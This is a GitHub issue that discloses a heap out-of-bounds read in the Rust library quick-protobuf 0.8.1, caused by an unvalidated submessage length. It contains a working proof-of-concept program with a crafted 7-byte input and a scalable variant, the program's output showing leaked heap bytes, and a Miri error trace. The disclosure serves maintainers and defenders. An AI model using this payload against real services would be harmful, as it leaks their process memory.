Skip to content

VULNERABILITY: 0.8.1 Heap OOB read via unvalidated submessage length #273

Description

@fereidani

There is a heap OOB read vulnerability in this library leaking heap memory, This vulnerability has potential for remote exploitation.

PoC

// PoC: quick-protobuf's nested-message path never clamps the declared
// submessage length to the buffer (reader.rs read_len sets
// end = start + len), so the self.len() guard in read_packed_fixed passes
// and from_raw_parts builds a slice reaching far past the input.
// Default runs the classic 7-byte trigger; pass MiB to crank the OOB read.
use quick_protobuf::{BytesReader, MessageRead, Result};

// message Outer { Inner inner = 1; }  message Inner { repeated u64 f = 1; }
struct Inner(Vec<u64>);

impl<'a> MessageRead<'a> for Inner {
    fn from_reader(r: &mut BytesReader, bytes: &'a [u8]) -> Result<Self> {
        let _tag = r.next_tag(bytes)?; // field 1, packed fixed64
        let vals: &[u64] = r.read_packed_fixed(bytes)?;
        Ok(Inner(vals.to_vec()))
    }
}

fn varint(mut v: u64, out: &mut Vec<u8>) {
    loop {
        let b = (v & 0x7f) as u8;
        v >>= 7;
        if v == 0 {
            out.push(b);
            return;
        }
        out.push(b | 0x80);
    }
}

fn main() {
    let mib: u64 = std::env::args()
        .nth(1)
        .and_then(|s| s.parse().ok())
        .unwrap_or(0);
    let bytes = if mib == 0 {
        // outer tag 0A, submessage len 1000, packed tag 0A, packed len 800,
        // then a single real payload byte
        vec![0x0A, 0xE8, 0x07, 0x0A, 0xA0, 0x06, 0x01]
    } else {
        let packed = mib << 20;
        let mut v = vec![0x0A];
        varint(packed + 16, &mut v);
        v.push(0x0A);
        varint(packed, &mut v);
        v.push(0x01);
        v
    };
    let mut r = BytesReader::from_bytes(&bytes);
    let tag = r.next_tag(&bytes).unwrap();
    println!("input {} bytes, outer tag {:#04x}", bytes.len(), tag);
    let Inner(leaked) = r.read_message::<Inner>(&bytes).unwrap();
    println!(
        "read {} u64s ({} bytes) starting past a {}-byte buffer",
        leaked.len(),
        leaked.len() * 8,
        bytes.len()
    );
    println!(
        "leaked heap bytes: {}",
        leaked[..4.min(leaked.len())]
            .iter()
            .map(|x| format!("{x:016x}"))
            .collect::<Vec<_>>()
            .join(" ")
    );
}

Run result:

input 7 bytes, outer tag 0x0a
read 100 u64s (800 bytes) starting past a 7-byte buffer
leaked heap bytes: 0000000000000001 0000000000550000 0000000000610000 00055c9ed8840000

Miri:

error: Undefined Behavior: constructing invalid value of type &[u64]: encountered a dangling reference (going beyond the bounds of its allocation)
   --> quick-protobuf/src/reader.rs:455:13
    |
455 | /             ::core::slice::from_raw_parts(
456 | |                 bytes.get_unchecked(self.start) as *const u8 as *const M,
457 | |                 n,
458 | |             )
    | |_____________^ Undefined Behavior occurred here

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions